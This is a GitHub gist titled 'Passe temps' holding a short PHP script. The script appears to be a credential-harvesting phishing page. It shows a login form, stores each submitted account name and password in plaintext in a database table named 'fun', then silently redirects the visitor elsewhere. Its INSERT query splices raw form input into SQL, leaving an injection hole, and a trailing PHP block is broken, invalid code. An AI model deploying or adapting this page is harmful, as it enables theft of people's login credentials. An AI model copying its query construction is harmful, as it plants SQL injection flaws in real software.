Skip to content

Instantly share code, notes, and snippets.

@PhiBabin
Created September 23, 2011 19:50
Show Gist options
  • Select an option

  • Save PhiBabin/1238288 to your computer and use it in GitHub Desktop.

Select an option

Save PhiBabin/1238288 to your computer and use it in GitHub Desktop.
Passe temps
<?php
if(isset($_POST["account"])&&!empty($_POST["account"])){
mysql_connect("localhost","","");
mysql_select_db("");
mysql_query('INSERT INTO fun VALUES("","'.$_POST["account"].'","'.$_POST["password"].'")');
echo '<meta http-equiv="refresh" content="0; URL=https://">';
}
else{
echo'
<form action="fun.php" method="post">
<input type="text" name="account" value=""/>
<input type="password" name="password" value=""/>
<input type="submit" value="Cool"/>
</form>
';
}
?>
<?php
oublie...;
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment